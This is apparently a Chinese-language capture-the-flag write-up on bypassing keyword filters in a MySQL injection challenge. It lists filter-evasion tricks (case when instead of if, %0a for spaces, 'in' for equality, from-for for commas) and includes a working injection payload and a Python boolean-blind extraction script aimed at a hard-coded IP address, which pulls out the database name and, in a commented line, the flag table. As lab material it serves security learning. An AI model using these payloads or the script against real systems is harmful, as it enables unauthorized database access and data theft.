记一次MySQL注入绕过_bc


查看源码发现提示

记一次MySQL注入绕过_case when绕过_02


存在过滤且,limit参数只能为单个数字

记一次MySQL注入绕过_bc_03


记一次MySQL注入绕过_条件判断_04


fuzz一下sql注入关键字看看都过滤了哪些字符

记一次MySQL注入绕过_sql注入_05


记一次MySQL注入绕过_bc_06


记一次MySQL注入绕过_bc_07


直接在class参数插入exp(100)回显正常,插入exp(1000)发现返回database error;说明此处sql注入可直接插入执行,其次如果sql语句执行错误会返回报错提示;

那么就可以做布尔盲注了,但是比较棘手的是过滤了逗号,;不能使用if进行条件判断;绕过逗号的方法from x for y不能在if中使用。

  • if无法使用可以用case when [express] then [x] else [y] end代替
  • 空格绕过可以使用括号()或者%0a
  • =likeregexp被过滤可以用in(不过in对字符大小写不敏感)
class=case%0awhen%0a(2)in(1)%0athen%0aexp(1000)else%0a1%0aend&limit=4

记一次MySQL注入绕过_case when绕过_08


记一次MySQL注入绕过_Mysql注入绕过_09


编写脚本

from urllib.parse import urlencode
from urllib.parse import unquote
import requests


burp0_url = "http://123.60.32.152:80/"
burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}
all_str = "0123456789abcdefghijklmnopqrstuvwxyz!\"#$%&\\'()*+,-./:;<=>?@[\\]^_`{|}~"


flag = ''
for leng in range(1,50):
	for char in all_str:
		payload = "case%0awhen%0amid(database()from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])
		#payload = "case%0awhen%0amid((select%0aflag%0afrom%0aflag)from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])
		burp0_data = {"class": unquote(payload), "limit": "4"}
		resp = requests.post(burp0_url, headers=burp0_headers, data=urlencode(burp0_data))
		if 'error' in resp.text:
			flag += char
			print(flag)
		else:
			continue
		# print(resp.text)
		# print(resp.request.body)

记一次MySQL注入绕过_Mysql注入绕过_10


得到数据名称:babysql 直接按照前面的提示查flag

记一次MySQL注入绕过_bc_11